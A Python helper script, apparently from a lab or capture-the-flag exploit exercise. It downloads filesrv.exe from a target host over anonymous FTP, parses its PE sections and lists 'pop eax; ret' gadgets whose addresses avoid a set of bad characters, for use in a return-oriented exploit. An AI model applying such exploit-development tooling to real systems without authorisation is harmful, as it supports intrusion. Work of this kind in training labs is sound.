#!/usr/bin/env python3
"""Cherche tous les 'pop eax; ret' (58 c3) dans filesrv.exe et filtre les bad chars."""
import struct, os
from ftplib import FTP

CIBLE_IP = "10.129.2.76"
BASE = 0x3f930000
BAD = {0x00, 0x01, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x1a, 0x20, 0x25}

def main():
    exe = "filesrv.exe"
    if not os.path.exists(exe):
        from ftplib import FTP
        ftp = FTP(CIBLE_IP); ftp.login("anonymous","")
        with open(exe,"wb") as f: ftp.retrbinary("RETR filesrv.exe", f.write)
        ftp.quit()

    with open(exe, "rb") as f:
        d = f.read()

    pe = struct.unpack_from("<I", d, 0x3C)[0]
    coff = pe + 4
    nsec = struct.unpack_from("<H", d, coff+2)[0]
    osz = struct.unpack_from("<H", d, coff+16)[0]
    ss = coff + 20 + osz
    secs = []
    for i in range(nsec):
        o = ss + i*40
        va = struct.unpack_from("<I", d, o+12)[0]
        vs = struct.unpack_from("<I", d, o+8)[0]
        ro = struct.unpack_from("<I", d, o+20)[0]
        rs = struct.unpack_from("<I", d, o+16)[0]
        secs.append((va, vs, ro, rs))

    def off_to_rva(off):
        for va, vs, ro, rs in secs:
            if ro <= off < ro + rs:
                return off - ro + va
        return None

    def addr_clean(rva):
        addr = (BASE + rva) & 0xFFFFFFFF
        bs = addr.to_bytes(4, "little")
        return not any(b in BAD for b in bs)

    # Also check what's really at 0x77ec4
    for va, vs, ro, rs in secs:
        if va <= 0x77ec4 < va + max(vs, rs):
            fo = 0x77ec4 - va + ro
            chunk = d[fo:fo+6]
            print(f"[*] Bytes a 0x77ec4: {chunk.hex()} ({len(chunk)} bytes)")
            print(f"    58=pop eax, c2=ret imm16, imm16={struct.unpack_from('<H', chunk, 2)[0]:#06x}")
            print(f"    -> pop eax; ret {struct.unpack_from('<H', chunk, 2)[0]}")
            print()

    # Search for \x58\xc3 (pop eax; ret)
    pattern = b"\x58\xc3"
    print(f"Recherche de pop eax; ret (58 c3) dans {exe}...")
    results = []
    pos = 0
    while True:
        pos = d.find(pattern, pos)
        if pos == -1:
            break
        rva = off_to_rva(pos)
        if rva is not None:
            clean = addr_clean(rva)
            results.append((rva, clean))
        pos += 1

    print(f"\n{len(results)} occurrences trouvees:\n")
    clean_count = 0
    for rva, clean in sorted(results):
        addr = (BASE + rva) & 0xFFFFFFFF
        bs = addr.to_bytes(4, "little")
        tag = "OK" if clean else "BAD"
        bad_list = [f"0x{b:02x}" for b in bs if b in BAD]
        extra = f" (bad: {','.join(bad_list)})" if bad_list else ""
        print(f"  [{tag:3s}] RVA=0x{rva:05x}  addr=0x{addr:08x}  bytes={bs.hex()}{extra}")
        if clean:
            clean_count += 1

    print(f"\n{clean_count} gadgets propres (sans bad chars)")
    if clean_count:
        first = next(rva for rva, c in sorted(results) if c)
        print(f"\n>>> UTILISE: 0x{first:05x} (pop eax; ret)")
        print(f"    Dans l'exploit: p32(base + 0x{first:05x})")

if __name__ == "__main__":
    main()
